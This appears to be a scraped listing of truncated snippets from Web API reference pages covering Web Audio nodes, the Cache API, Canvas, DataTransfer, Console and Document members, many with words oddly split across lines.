ons indexsizeerror the value specified as outputindex or inputindex doesn't correspond to an existing input or output. invalidaccesserror the destination node is not part of the same audio context as the source node. notsupportederror the specified connection would create a cycle (in which the audio loops back through the same nodes repeatedly) and there are no delaynodes in the cycle to p
revent the resulting waveform from getting stuck constructing the same audio frame indefinitely. examples connecting to an audio input the most obvious use of the connect() method is to direct the audio output from one node into the audio input of another node for further processing. for example, you might send the audio from a mediaelementaudiosourcenode—that is, the audio from an html5 media ...
AudioNode - Web APIs
m properties and methods. slightly better performance: in both chrome and firefox, the factory methods call the constructors internally. keep in mind that microsoft edge does not yet appear to support the constructors; it will throw a "function expected" error when you use the constructors. brief history: the first version of the web audio spec only defined the factory methods. after a design
review in october 2013, it was decided to add constructors because they have numerous benefits over factory methods. the constructors were added to the spec from august to october 2016. factory methods continue to be included in the spec and are not deprecated. properties audionode.context read only returns the associated baseaudiocontext, that is the object representing the processing graph th...
AudioParam.linearRampToValueAtTime() - Web APIs
syntax var audioparam = audioparam.linearramptovalueattime(value, endtime) parameters value a floating point number representing the value the audioparam will ramp to by the given time. ...
AudioParam.value - Web APIs
value at a time of 0.0 seconds, and will remain the parameter's value until the first render quantum in which the value is altered. during each render quantum, the browser does the following things related to managing the value of a parameter: if the value setter has been used, the parameter's value is changed to the value given. if the current time equals or exceeds the time specified by a p
revious call to setvalueattime(), the value is changed to the value passed into setvalueattime(). if any gradiated or ramped value changing methods have been called and the current time is within the time range over which the graduated change should occur, the value is updated based on the appropriate algorithm. these ramped or gradiated value-changing methods include linearramptovalueattime(), sett...
AudioScheduledSourceNode.stop() - Web APIs
if the node has already stopped, this method has no effect. note: if a scheduled stop time occurs before the node's scheduled start time, the node never starts to play. ...
AudioTrack.enabled - Web APIs
ed for use. if the track is disabled by setting enabled to false, the track is muted and does not produce audio. syntax isaudioenabled = audiotrack.enabled; audiotrack.enabled = true | false; value the enabled property is a boolean whose value is true if the track is enabled; enabled tracks produce audio while the media is playing. setting enabled to false effectively mutes the audio track, p
reventing it from contributing to the media's audio performance. example this example switches between the main and commentary audio tracks of a media element. function swapcommentarymain() { var videoelem = document.getelementbyid("main-video"); var audiotrackmain; var audiotrackcommentary; videoelem.audiotracks.foreach(track) { if (track.kind === "main") { audiotrackmain = tra...
AudioWorkletProcessor.process - Web APIs
irected through the processor's corresponding audioworkletnode. in other words, every time a new block of audio is ready for your processor to manipulate, your process() function is invoked to do so. important: currently, audio data blocks are always 128 frames long—that is, they contain 128 32-bit floating-point samples for each of the inputs' channels. however, plans are already in place to
revise the specification to allow the size of the audio blocks to be changed depending on circumstances (for example, if the audio hardware or cpu utilization is more efficient with larger block sizes). therefore, you must always check the size of the sample array rather than assuming a particular size. this size may even be allowed to change over time, so you mustn't look at just the first block an...
AuthenticatorAssertionResponse.authenticatorData - Web APIs
s processed by the authenticator. syntax var authnrdata = authenticatorassertionresponse.authenticatordata; value an arraybuffer that has a arraybuffer.bytelength of at least 37 bytes, containing the following fields: rpidhash (32 bytes) - a sha256 hash of the relying party id that was seen by the browser. the server will ensure that this hash matches a hash of its own origin in order to p
revent phishing or other man-in-the-middle attacks. flags (1 bytes) - a bitfield that indicates various attributes that were asserted by the authenticator. the bits are as follows, where "bit 0" is the least significant bit and all bits not specifically mentioned below are "reserved for future use": bit 0, user presence (up) - if set, authenticator validated that the user was present through s...
Background Tasks API - Web APIs
along with all of this. certainly most if not all code that is capable of making changes to the dom is running in the main thread, since it's common for user interface changes to only be available to the main thread. because event handling and screen updates are two of the most obvious ways users notice performance issues, it's important for your code to be a good citizen of the web and help to p
revent stalls in the execution of the event loop. in the past, there's been no way to do this reliably other than by writing code that's as efficient as possible and by offloading as much work as possible to workers. window.requestidlecallback() makes it possible to become actively engaged in helping to ensure that the browser's event loop runs smoothly, by allowing the browser to tell your code how ...
BaseAudioContext.createChannelMerger() - Web APIs
gainnode.connect(merger, 0, 1); splitter.connect(merger, 1, 0); var dest = ac.createmediastreamdestination(); // because we have used a channelmergernode, we now have a stereo // mediastream we can use to pipe the web audio graph to webrtc, // mediarecorder, etc. merger.connect(dest); }); specifications specification status comment web au...
BaseAudioContext.createChannelSplitter() - Web APIs
gainnode.connect(merger, 0, 1); splitter.connect(merger, 1, 0); var dest = ac.createmediastreamdestination(); // because we have used a channelmergernode, we now have a stereo // mediastream we can use to pipe the web audio graph to webrtc, // mediarecorder, etc. merger.connect(dest); }); specifications specification status comment web au...
BaseAudioContext.createConvolver() - Web APIs
the createconvolver() method of the baseaudiocontext interface creates a convolvernode, which is commonly used to apply
reverb effects to your audio. see the spec definition of convolution for more information. syntax baseaudiocontext.createconvolver(); returns a convolvernode. example the following example shows basic usage of an audiocontext to create a convolver node. the basic premise is that you create an audiobuffer containing a sound sample to be used as an ambience to shape the convolution (called the impulse response,) and apply that to the convolver. the example below uses a short sample of a concert hall crowd, so the
reverb effect applied is really deep and echoey. for applied examples/information, check out our voice-change-o-matic demo (see app.js for relevant code). ...
BaseAudioContext - Web APIs
h is used to combine channels from multiple audio streams into a single audio stream. baseaudiocontext.createchannelsplitter() creates a channelsplitternode, which is used to access the individual channels of an audio stream and process them separately. baseaudiocontext.createconvolver() creates a convolvernode, which can be used to apply convolution effects to your audio graph, for example a
reverberation effect. baseaudiocontext.createdelay() creates a delaynode, which is used to delay the incoming audio signal by a certain amount. this node is also useful to create feedback loops in a web audio api graph. baseaudiocontext.createdynamicscompressor() creates a dynamicscompressornode, which can be used to apply acoustic compression to an audio signal. baseaudiocontext.creategain() c...
Battery Status API - Web APIs
the battery status api, more often referred to as the battery api, provides information about the system's battery charge level and lets you be notified by events that are sent when the battery level or charging status change. this can be used to adjust your app's resource usage to reduce battery drain when the battery is low, or to save changes before the battery runs out in order to p
revent data loss. the battery status api extends window.navigator with a navigator.getbattery() method returning a battery promise, which is resolved in a batterymanager object providing also some new events you can handle to monitor the battery status. example in this example, we watch for changes both to the charging status (whether or not we're plugged in and charging) and for changes to the battery le...
BeforeInstallPromptEvent.prompt() - Web APIs
the prompt() method of the beforeinstallpromptevent interface allows a developer to show the install prompt at a time of their own choosing. syntax beforeinstallpromptevent.prompt() parameters none. returns an empty promise. example var istoosoon = true; window.addeventlistener("beforeinstallprompt", function(e) { if (istoosoon) { e.p
reventdefault(); // p
revents prompt display // prompt later instead: settimeout(function() { istoosoon = false; e.prompt(); // throws if called more than once or default not p
revented }, 10000); } // the event was re-dispatched in response to our request // ... }); ...
BeforeUnloadEvent - Web APIs
an almost-cross-browser working example would be close to the below example. window.addeventlistener("beforeunload", function (e) { var confirmationmessage = "\o/"; (e || window.event).returnvalue = confirmationmessage; // gecko + ie return confirmationmessage; /* safari,...
Body.text() - Web APIs
se it to fetch a specific .txt file. when the fetch is successful, we read a usvstring (text) object out of the response using text(), then set the innerhtml of the <article> element equal to the text object. ...
Cache.add() - Web APIs
eves it, and adds the resulting response object to the given cache. the add() method is functionally equivalent to the following: fetch(url).then(function(response) { if (!response.ok) { throw new typeerror('bad response status'); } return cache.put(url, response); }) for more complex operations, you'll need to use cache.put() directly. note: add() will overwrite any key/value pair p
reviously stored in the cache that matches the request. syntax cache.add(request).then(function() { // request has been added to the cache }); parameters request the request you want to add to the cache. this can be a request object or a url. return value a promise that resolves with undefined. exceptions exception happens when typeerror the url schem...
Cache.addAll() - Web APIs
the addall() method of the cache interface takes an array of urls, retrieves them, and adds the resulting response objects to the given cache. the request objects created during retrieval become keys to the stored response operations. note: addall() will overwrite any key/value pairs p
reviously stored in the cache that match the request, but will fail if a resulting put() operation would overwrite a p
revious cache entry stored by the same addall() method. syntax cache.addall(requests[]).then(function() { // requests have been added to the cache }); parameters requests an array of string urls that you want to be fetched and added to the cache. you can specify the request object instead of the url. return value a promise that resolves with undefined. exceptions exce...
Cache.delete() - Web APIs
bject whose properties control how matching is done in the delete operation. the available options are: ignoresearch: a boolean that specifies whether the matching process should ignore the query string in the url. if set to true, the ?value=bar part of http://foo.com/?value=bar would be ignored when performing a match. it defaults to false. ignoremethod: a boolean that, when set to true, p
revents matching operations from validating the request http method (normally only get and head are allowed.) it defaults to false. igno
revary: a boolean that, when set to true, tells the matching operation not to perform vary header matching. in other words, if the url matches you will get a match regardless of whether the response object has a vary header. it defaults to false. cachename: a d...
Cache.keys() - Web APIs
object whose properties control how matching is done in the keys operation. the available options are: ignoresearch: a boolean that specifies whether the matching process should ignore the query string in the url. if set to true, the ?value=bar part of http://foo.com/?value=bar would be ignored when performing a match. it defaults to false. ignoremethod: a boolean that, when set to true, p
revents matching operations from validating the request http method (normally only get and head are allowed.) it defaults to false. igno
revary: a boolean that, when set to true, tells the matching operation not to perform vary header matching. in other words, if the url matches you will get a match regardless of whether the response object has a vary header. it defaults to false. cachename: a d...
Cache.match() - Web APIs
object or a url. options optional an object that sets options for the match operation. the available options are: ignoresearch: a boolean that specifies whether to ignore the query string in the url. for example, if set to true the ?value=bar part of http://foo.com/?value=bar would be ignored when performing a match. it defaults to false. ignoremethod: a boolean that, when set to true, p
revents matching operations from validating the request http method (normally only get and head are allowed.) it defaults to false. igno
revary: a boolean that when set to true tells the matching operation not to perform vary header matching — i.e. if the url matches you will get a match regardless of whether the response object has a vary header. it defaults to false. return value a promis...
Cache.matchAll() - Web APIs
ect allowing you to set specific control options for the matching performed. the available options are: ignoresearch: a boolean that specifies whether the matching process should ignore the query string in the url. if set to true, the ?value=bar part of http://foo.com/?value=bar would be ignored when performing a match. it defaults to false. ignoremethod: a boolean that, when set to true, p
revents matching operations from validating the request http method (normally only get and head are allowed.) it defaults to false. igno
revary: a boolean that when set to true tells the matching operation not to perform vary header matching — i.e. if the url matches you will get a match regardless of the response object having a vary header or not. it defaults to false. return value a prom...
Cache.put() - Web APIs
or more requests, then add the result straight to your cache. in such cases you are better off using cache.add()/cache.addall(), as they are shorthand functions for one or more of these operations. fetch(url).then(function(response) { if (!response.ok) { throw new typeerror('bad response status'); } return cache.put(url, response); }) note: put() will overwrite any key/value pair p
reviously stored in the cache that matches the request. note: cache.add/cache.addall do not cache responses with response.status values that are not in the 200 range, whereas cache.put lets you store any request/response pair. as a result, cache.add/cache.addall can't be used to store opaque responses, whereas cache.put can. syntax cache.put(request, response).then(function() { // request/res...
CacheStorage.match() - Web APIs
properties control how matching is done in the match operation. the available options are: ignoresearch: a boolean that specifies whether the matching process should ignore the query string in the url. for example, if set to true, the ?value=bar part of http://foo.com/?value=bar would be ignored when performing a match. it defaults to false. ignoremethod: a boolean that, when set to true, p
revents matching operations from validating the request http method (normally only get and head are allowed.) it defaults to false. igno
revary: a boolean that, when set to true, tells the matching operation not to perform vary header matching. in other words, if the url matches you will get a match regardless of whether the response object has a vary header or not. it defaults to false. cachename...
CanvasCaptureMediaStreamTrack.requestFrame() - Web APIs
the canvascapturemediastreamtrack method requestframe() requests that a frame be captured from the canvas and sent to the stream. applications that need to carefully control the timing of rendering and frame capture can use requestframe() to directly specify when it's time to capture a frame. to p
revent automatic capture of frames, so that frames are only captured when requestframe() is called, specify a value of 0 for the capturestream() method when creating the stream. syntax stream.requestframe(); return value undefined usage notes there is currently an issue flagged in the specification pointing out that at this time, no exceptions are being thrown if the canvas isn't origin-clean. this may change in the future, so it would be wise to plan ahead and watch for exceptions such as s...
CanvasRenderingContext2D.clip() - Web APIs
in the image below, the red outline represents a clipping region shaped like a star. only those parts of the checkerboard pattern that are within the clipping region get drawn. note: be aware that the clipping region is only constructed from shapes added to the path. it doesn't work with shape primitives drawn directly to the canvas, such as fillrect(). instead, you'd have to use rect() to add a rectangular shape to the path before calling clip(). ...
CanvasRenderingContext2D.lineJoin - Web APIs
degenerate segments with a length of zero (i.e., with all endpoints and control points at the exact same position) are also ignored. note: lines can be drawn with the stroke(), strokerect(), and stroketext() methods. ...
CanvasRenderingContext2D.stroke() - Web APIs
es a rectangle using the rect() method, and then draws it to the canvas using stroke(). html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.rect(10, 10, 150, 100); ctx.stroke(); result re-stroking paths typically, you'll want to call beginpath() for each new thing you want to stroke. if you don't, the p
revious sub-paths will remain part of the current path, and get stroked every time you call the stroke() method. in some cases, however, this may be the desired effect. html <canvas id="canvas"></canvas> javascript this code strokes the first path three times, the second path two times, and the third path only once. const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext(...
Manipulating video using canvas - Web APIs
note that you can simply pass the video element into the context's drawimage() method to draw the current video frame into the context. the result is: line 3 fetches a copy of the raw graphics data for the current frame of video by calling the getimagedata() method on the first context. this provides raw 32-bit pixel image data we can then manipul...
Advanced animations - Web APIs
in this part we will have a closer look at the motion itself and are going to add some physics to make our animations more advanced. drawing a ball we are going to use a ball for our animation studies, so let's first draw that ball onto the canvas. the following code will set us up. <canvas id="canvas" width="600" height="300"></canvas> as usual, we need a drawing context first. to draw the ball, we will create a ball object which contains properties and a draw() method to paint it on the canvas. ...
Hit regions and accessibility - Web APIs
canvas content is not exposed to accessibility tools like semantic html is. in general, you should avoid using canvas in an accessible website or app. the following guidelines can help to make it more accessible. fallback content the content inside the <canvas> ... </canvas> tags can be used as a fallback for browsers which don't support canvas rendering. it's also very useful for assistive technology users (like screen readers) which can read and interpret the sub dom in it. a good example at html5accessibility.com demonstrates how this can be done: <canvas> <h2>shapes</h2> <p>a rectangle with a black border. ...
Optimizing canvas - Web APIs
however, when websites and apps push the canvas api to its limits, performance begins to suffer. this article provides suggestions for optimizing your use of the canvas element to ensure that your graphics perform well. performance tips the following is a collection of tips to improve canvas performance. pre-render similar primitives or repeating objects on an offscreen canvas if you find yourself repeating some of the same drawing operations on each animation frame, consider offloading them to an offscreen canvas. ...
Pixel manipulation with canvas - Web APIs
with the imagedata object you can directly read and write a data array to manipulate pixel data. we will also look into how image smoothing (anti-aliasing) can be controlled and how to save images from your canvas. the imagedata object the imagedata object represents the underlying pixel data of an area of a canvas object. it contains the following read-only attributes: width the width of the image in pixels. height the height of the image in pixels. data a uint8clampedarray representing a one-dimensional array containing the data in the rgba order, with integer values between 0 and 255 (included). ...
ChannelMergerNode - Web APIs
gainnode.connect(merger, 0, 1); splitter.connect(merger, 1, 0); var dest = ac.createmediastreamdestination(); // because we have used a channelmergernode, we now have a stereo // mediastream we can use to pipe the web audio graph to webrtc, // mediarecorder, etc. merger.connect(dest); }); specifications specification status comment web au...
ChannelSplitterNode - Web APIs
gainnode.connect(merger, 0, 1); splitter.connect(merger, 1, 0); var dest = ac.createmediastreamdestination(); // because we have used a channelmergernode, we now have a stereo // mediastream we can use to pipe the web audio graph to webrtc, // mediarecorder, etc. merger.connect(dest); }); specifications specification status comment web au...
CharacterData - Web APIs
ual data contained in this object. characterdata.length read only returns an unsigned long representing the size of the string contained in characterdata.data. nondocumenttypechildnode.nextelementsibling read only returns the element immediately following the specified one in its parent's children list, or null if the specified element is the last one in the list. nondocumenttypechildnode.p
reviouselementsibling read only returns the element immediately prior to the specified one in its parent's children list, or null if the specified element is the first one in the list. methods inherits methods from its parent, node, and implements the childnode and nondocumenttypechildnode interface. characterdata.appenddata() appends the given domstring to the characterdata.data string; whe...
ChildNode - Web APIs
dnode.replacewith() replaces this childnode in the children list of its parent with a set of node or domstring objects. domstring objects are inserted as equivalent text nodes. specifications specification status comment domthe definition of 'childnode' in that specification. living standard split the elementtraversal interface in parentnode and childnode. p
reviouselementsibling and nextelementsibling are now defined on the latter. the characterdata and documenttype implemented the new interfaces. added the remove(), before(), after() and replacewith() methods. element traversal specificationthe definition of 'elementtraversal' in that specification. obsolete added the initial definition of its properties to the elementtraversal pure inte...
Clients.openWindow() - Web APIs
ew top level browsing context and loads a given url. if the calling script doesn't have permission to show popups, openwindow() will throw an invalidaccesserror. in firefox, the method is allowed to show popups only when called as the result of a notification click event. in chrome for android, the method may instead open the url in an existing browsing context provided by a standalone web app p
reviously added to the user's home screen. as of recently, this also works on chrome for windows. syntax self.clients.openwindow(url).then(function(windowclient) { // do something with your windowclient }); parameters url a usvstring representing the url of the client you want to open in the window. generally this value must be a url from the same origin as the calling script. return value...
Clipboard.read() - Web APIs
ke readtext(), the read() method can return arbitrary data, such as images. this method can also return text. to read from the clipboard, you must first have the "clipboard-read" permission. note: the asynchronous clipboard and permissions apis are still in the process of being integrated into most browsers, so they often deviate from the official rules for permissions and the like. be sure to
review the compatibility table before using these methods. syntax var promise = navigator.clipboard.read(); parameters none. return value a promise that resolves with a datatransfer object containing the clipboard's contents. the promise is rejected if permission to access the clipboard is not granted. example after using navigator.permissions.query() to find out if we have (or if the user w...
CloseEvent.initCloseEvent() - Web APIs
se. syntax event.initmouseevent(type, canbubble, cancelable, wasclean, reasoncode, reason); parameters type the string to set the event's type to. possible types for mouse events include: click, mousedown, mouseup, mouseover, mousemove, mouseout. canbubble whether or not the event can bubble. sets the value of event.bubbles. cancelable whether or not the event's default action can be p
revented. sets the value of event.cancelable. wasclean whether or not the connection was cleanly closed. reasoncode the reason of the close. reason a domstring describing the reason of the close in shuman-readable way. specifications this is no part of any specifications, though it was in some early drafts. ...
CloseEvent - Web APIs
endpoint is terminating the connection because a data frame was received that is too large. 1010 missing extension the client is terminating the connection because it expected the server to negotiate one or more extension, but the server didn't. 1011 internal error the server is terminating the connection because it encountered an unexpected condition that p
revented it from fulfilling the request. 1012 service restart the server is terminating the connection because it is restarting. [ref] 1013 try again later the server is terminating the connection due to a temporary condition, e.g. it is overloaded and is casting off some of its clients. [ref] 1014 bad gateway the server was acting as a gate...
Console.groupCollapsed() - Web APIs
call console.groupend() to back out to the parent group. see using groups in the console in the console documentation for details and examples. note: this feature is available in web workers. syntax console.groupcollapsed([label]); parameters label label for the group. optional. ...
Console.profileEnd() - Web APIs
you can optionally supply an argument to name the profile. doing so enables you to stop only that profile if you have multiple profiles being recorded. if console.profileend() is passed a profile name, and it matches the name of a profile being recorded, then that profile is stopped. ...
Console.timeEnd() - Web APIs
see timers in the documentation for details and examples. note: this feature is available in web workers. syntax console.timeend(label); parameters label the name of the timer to stop. once stopped, the elapsed time is automatically displayed in the web console along with an indicator that the time has ended. ...
Console.timeLog() - Web APIs
see timers in the documentation for details and examples. note: this feature is available in web workers. syntax console.timelog(label); parameters label the name of the timer to log to the console. return if no label parameter included: default: 1042ms if an existing label is included: timer name: 1242ms exceptions if there is no running timer, timelog() returns the warning: timer “default” doesn’t exist. if a label parameter is included, but there is no corresponding timer: timer “timer name” doesn’t exist. ...
ConvolverNode() - Web APIs
rnode object instance. syntax var convolvernode = new convolvernode(context, options) parameters inherits parameters from the audionodeoptions dictionary. context a reference to an audiocontext. options optional options are as follows: audiobuffer: a mono, stereo, or 4-channel audiobuffer containing the (possibly multichannel) impulse response used by the convolvernode to create the
reverb effect. disablenormalization: a boolean controlling whether the impulse response from the buffer will be scaled by an equal-power normalization, or not. the default is 'false'. return value a new convolvernode object instance. exceptions exception explanation notsupportederror the referenced audiobuffer does not have the correct number of channels, or it ...
CredentialsContainer - Web APIs
tialscontainer.create()secure context returns a promise that resolves with a new credential instance based on the provided options, or null if no credential object can be created. in exceptional circumstances, the promise may reject. credentialscontainer.get()secure context returns a promise that resolves with the credential instance that matches the provided parameters. credentialscontainer.p
reventsilentaccess()secure context sets a flag that specifies whether automatic log in is allowed for future visits to the current origin, then returns an empty promise. for example, you might call this, after a user signs out of a website to ensure that he/she isn't automatically signed in on the next site visit. earlier versions of the spec called this method requireusermediation(). see browser co...
CustomElementRegistry.get() - Web APIs
syntax constructor = customelements.get(name); parameters name the name of the custom element whose constructor you want to return a reference to. return value the constructor for the named custom element, or undefined if there is no custom element definition with that name. ...
DOMHighResTimeStamp - Web APIs
origin is a standard time which is considered to be the beginning of the current document's lifetime. it's calculated like this: if the script's global object is a window, the time origin is determined as follows: if the current document is the first one loaded in the window, the time origin is the time at which the browser context was created. if during the process of unloading the p
revious document which was loaded in the window, a confirmation dialog was displayed to let the user confirm whether or not to leave the p
revious page, the time origin is the time at which the user confirmed that navigating to the new page was acceptable. if neither of the above determines the time origin, then the time origin is the time at which the navigation responsible for creating the window...
DOMPointReadOnly.x - Web APIs
the dompointreadonly interface's x property holds the horizontal coordinate, x, for a read-only point in space. this property cannot be changed by javascript code in this read-only version of the dompoint object. in general, positive values x mean to the right, and negative values of x means to the left, assuming no transforms have resulted in a
reversal. syntax const xpos = somedompointreadonly.x; value a double-precision floating-point value indicating the x coordinate's value for the point. this value is unrestricted, meaning that it is allowed to be infinite or invalid (that is, its value may be nan or ±infinity). specifications specification status comment geometry interfaces module level 1the definition of 'x' in that specification. candidate reco...
DOMPointReadOnly.y - Web APIs
the dompointreadonly interface's y property holds the vertical coordinate, y, for a read-only point in space. if your script needs to be able to change the value of this property, you should instead use the dompoint object. in general, positive values of y mean downward, and negative values of y mean upward, assuming no transforms have resulted in a
reversal. syntax const ypos = somedompointreadonly.y; value a double-precision floating-point value indicating the y coordinate's value for the point. this value is unrestricted, meaning that it is allowed to be infinite or invalid (that is, its value may be nan or ±infinity). specifications specification status comment geometry interfaces module level 1the definition of 'y' in that specification. candidate ...
DOMPointReadOnly.z - Web APIs
intreadonly interface's z property holds the depth coordinate, z, for a read-only point in space. if your script needs to be able to change the value of this property, you should instead use the dompoint object. in general, positive values of z mean toward the user (out from the screen), and negative values of z mean away from the user (into the screen), assuming no transforms have resulted in a
reversal. syntax const zpos = somedompointreadonly.z; value a double-precision floating-point value indicating the z coordinate's value for the point. this value is unrestricted, meaning that it is allowed to be infinite or invalid (that is, its value may be nan or ±infinity). specifications specification status comment geometry interfaces module level 1the definiti...
DataTransfer.clearData() - Web APIs
eventlistener('dragstart', dragstarthandler); draggable.removeeventlistener('dragend', dragendhandler); dropable.removeeventlistener('dragover', dragoverhandler); dropable.removeeventlistener('dragleave', dragleavehandler); dropable.removeeventlistener('drop', drophandler); } } function dragoverhandler (event) { status.innerhtml = 'drop available'; event.p
reventdefault(); } function dragleavehandler (event) { status.innerhtml = 'drag in process (drop was available)'; event.p
reventdefault(); } function drophandler (event) { dropped = true; status.innerhtml = 'drop done'; event.p
reventdefault(); // get data linked to event format « text » var _data = event.datatransfer.getdata('text/plain'); var element = ...
DataTransfer.dropEffect - Web APIs
ev.datatransfer.effectallowed); // add this element's id to the drag payload so the drop handler will // know which element to add to its tree ev.datatransfer.setdata("text", ev.target.id); ev.datatransfer.effectallowed = "move"; } function drop_handler(ev) { console.log("drop: dropeffect = " + ev.datatransfer.dropeffect + " ; effectallowed = " + ev.datatransfer.effectallowed); ev.p
reventdefault(); // get the id of the target and add the moved element to the target's dom var data = ev.datatransfer.getdata("text"); ev.target.appendchild(document.getelementbyid(data)); } function dragover_handler(ev) { console.log("dragover: dropeffect = " + ev.datatransfer.dropeffect + " ; effectallowed = " + ev.datatransfer.effectallowed); ev.p
reventdefault(); // set the dropeffec...
DataTransfer.effectAllowed - Web APIs
d = " + ev.datatransfer.effectallowed); // add this element's id to the drag payload so the drop handler will // know which element to add to its tree ev.datatransfer.setdata("text", ev.target.id); ev.datatransfer.effectallowed = "move"; } function drop_handler(ev) { console.log("drop: dropeffect = " + ev.datatransfer.dropeffect + " ; effectallowed = " + ev.datatransfer.effectallowed); ev.p
reventdefault(); // get the id of the target and add the moved element to the target's dom var data = ev.datatransfer.getdata("text"); ev.target.appendchild(document.getelementbyid(data)); } function dragover_handler(ev) { console.log("dragover: dropeffect = " + ev.datatransfer.dropeffect + " ; effectallowed = " + ev.datatransfer.effectallowed); ev.p
reventdefault(); // set the dropeffect to mo...
DataTransfer.getData() - Web APIs
ag" draggable="true" ondragstart="drag(event)">drag me to the other box</span> </div> <div id="div2" ondrop="drop(event)" ondragover="allowdrop(event)"></div> css content #div1, #div2 { width:100px; height:50px; padding:10px; border:1px solid #aaaaaa; } javascript content function allowdrop(allowdropevent) { allowdropevent.target.style.color = 'blue'; allowdropevent.p
reventdefault(); } function drag(dragevent) { dragevent.datatransfer.setdata("text", dragevent.target.id); dragevent.target.style.color = 'green'; } function drop(dropevent) { dropevent.p
reventdefault(); var data = dropevent.datatransfer.getdata("text"); dropevent.target.appendchild(document.getelementbyid(data)); document.getelementbyid("drag").style.color = 'black'; } re...
DataTransferItem.getAsFile() - Web APIs
data item's file object. if the item is not a file, this method returns null. syntax file = datatransferitem.getasfile(); parameters none. return value file if the drag data item is a file, a file object is returned; otherwise null is returned. example this example shows the use of the getasfile() method in a drop event handler. ...
DataTransferItem.getAsString() - Web APIs
e callback below for details. return value undefined callback the callback parameter is a callback function which accepts one parameter: domstring the drag data item's string data. the callback return value is undefined. example this example shows the use of the getasstring() method as an inline function in a drop event handler. ...
DataTransferItem.kind - Web APIs
xt or some file. syntax var itemkind = datatransferitem.kind; return value a domstring representing the drag data item's kind. it must be one of the following values: 'file' if the drag data item is a file. 'string' if the kind of drag data item is a plain unicode string. example this example shows the use of the kind property. ...
DataTransferItem.type - Web APIs
em object representing the drag data item. the type is a unicode string generally given by a mime type, although a mime type is not required. some example types are: text/plain and text/html. syntax dataitem.type; return value a domstring representing the drag data item's type. example this example shows the use of the type property. ...
Detecting device orientation - Web APIs
ball.style.top = (maxy*y/180 - 10) + "px"; ball.style.left = (maxx*x/180 - 10) + "px"; } window.addeventlistener('deviceorientation', handleorientation); click here to open this example in a new window; because deviceorientation doesn't work in a cross-origin <iframe> in all browsers. warning: chrome and firefox do not handle the angles the same way, so on some axes the direction are
reversed. processing motion events motion events are handled the same way as the orientation events except that they have their own event's name: devicemotion window.addeventlistener("devicemotion", handlemotion, true); what's really changed are the information provided within the devicemotionevent object passed as a parameter of the handlemotion function. the motion event contains four propert...
Document.createElementNS() - Web APIs
d element is initialized with the value of namespaceuri. see valid namespace uris. qualifiedname a string that specifies the type of element to be created. the nodename property of the created element is initialized with the value of qualifiedname. optionsoptional an optional elementcreationoptions object containing a single property named is, whose value is the tag name for a custom element p
reviously defined using customelements.define(). for backwards compatibility with p
revious versions of the custom elements specification, some browsers will allow you to pass a string here instead of an object, where the string's value is the custom element's tag name. see extending native html elements for more information on how to use this parameter. the new element will be given an is attribute ...
Document.createTouch() - Web APIs
y, screenx, screeny); parameters note: all parameters are optional. view the window in which the touch occurred. target the eventtarget for the touch. identifier the value for touch.identifier. pagex the value for touch.pagex. pagey the value for touch.pagey. screenx the value for touch.screenx. screeny the value for touch.screeny. note: p
revious versions of this method included the following additional parameters but those parameters are not included in either of the standards listed below. consequently, these parameters should be considered deprecated and not used. clientx the value for touch.clientx. clienty the value for touch.clienty. radiusx the value for touch.radiusx. radiusy the value for touch.radiusy. rotationang...
Document.execCommand() - Web APIs
ustifies the selection or insertion point. justifyleft justifies the selection or insertion point to the left. justifyright right-justifies the selection or the insertion point. outdent outdents the line containing the selection or insertion point. paste pastes the clipboard contents at the insertion point (replaces current selection). disabled for web content. see [1]. redo redoes the p
revious undo command. removeformat removes all formatting from the current selection. selectall selects all of the content of the editable region. strikethrough toggles strikethrough on/off for the selection or at the insertion point. subscript toggles subscript on/off for the selection or at the insertion point. superscript toggles superscript on/off for the selection or at the insertion p...
Document.exitFullscreen() - Web APIs
syntax exitpromise = document.exitfullscreen(); parameters none. return value a promise which is resolved once the user agent has finished exiting full-screen mode. if an error occurs while attempting to exit full-screen mode, the catch() handler for the promise is called. ...
Document.fonts - Web APIs
the fonts property of the document interface returns the fontfaceset interface of the document. syntax let fontfaceset = document.fonts; value the returned value is the fontfaceset interface of the document. the fontfaceset interface is useful for loading new fonts, checking the status of p
reviously loaded fonts etc. examples doing operation after all fonts are loaded document.fonts.ready.then(function() { // any operation that needs to be done only after all the fonts // have finished loading can go here. }); specifications specification status comment css font loading module level 3the definition of 'fontfaceset' in that specification. working draft initial definition browser compatibility the compatibility table on this page is gener...
Document.ononline - Web APIs
window.navigator.online returns boolean true if the browser is online and false if it is definitely offline (disconnected from the network). the online and offline events are fired when the value of this attribute changes. ...
Document: pointerdown event - Web APIs
interdown event is fired when a pointer becomes active. for mouse, it is fired when the device transitions from no buttons depressed to at least one button depressed. for touch, it is fired when physical contact is made with the digitizer. for pen, it is fired when the stylus makes physical contact with the digitizer. ...
Document: pointerenter event - Web APIs
the pointerenter event fires when a pointing device is moved into the hit test boundaries of an element or one of its descendants, including as a result of a pointerdown event from a device that does not support hover (see pointerdown). ...
Document: pointerleave event - Web APIs
the pointerleave event is fired when a pointing device is moved out of the hit test boundaries of an element. for pen devices, this event is fired when the stylus leaves the hover range detectable by the digitizer. ...
Document: pointerout event - Web APIs
ired for several reasons including: pointing device is moved out of the hit test boundaries of an element; firing the pointerup event for a device that does not support hover (see pointerup); after firing the pointercancel event (see pointercancel); when a pen stylus leaves the hover range detectable by the digitizer. ...
Document: transitionend event - Web APIs
completion, such as if the transition-property is removed or display is set to none, then the event will not be generated. bubbles yes cancelable yes interface transitionevent event handler property ontransitionend the transitionend event is fired in both directions - as it finishes transitioning to the transitioned state, and when it fully
reverts to the default or non-transitioned state. if there is no transition delay or duration, if both are 0s or neither is declared, there is no transition, and none of the transition events are fired. if the transitioncancel event is fired, the transitionend event will not fire. the original target for this event is the element that had the transition applied. you can listen for this event on the ...
Document.visibilityState - Web APIs
being prerendered and is not visible to the user (considered hidden for purposes of document.hidden). the document may start in this state, but will never transition to it from another value. note: this was removed from the standard. check compatibility table for details. when the value of this property changes, the visibilitychange event is sent to the document. typical use of this can be to p
revent the download of some assets when the document is solely prerendered, or stop some activities when the document is in the background or minimized. syntax var string = document.visibilitystate examples document.addeventlistener("visibilitychange", function() { console.log( document.visibilitystate ); // modify behavior... }); specifications specification status comment ...
Document: wheel event - Web APIs
mples scaling an element via the wheel this example shows how to scale an element using the mouse (or other pointing device) wheel. ...
Document - Web APIs
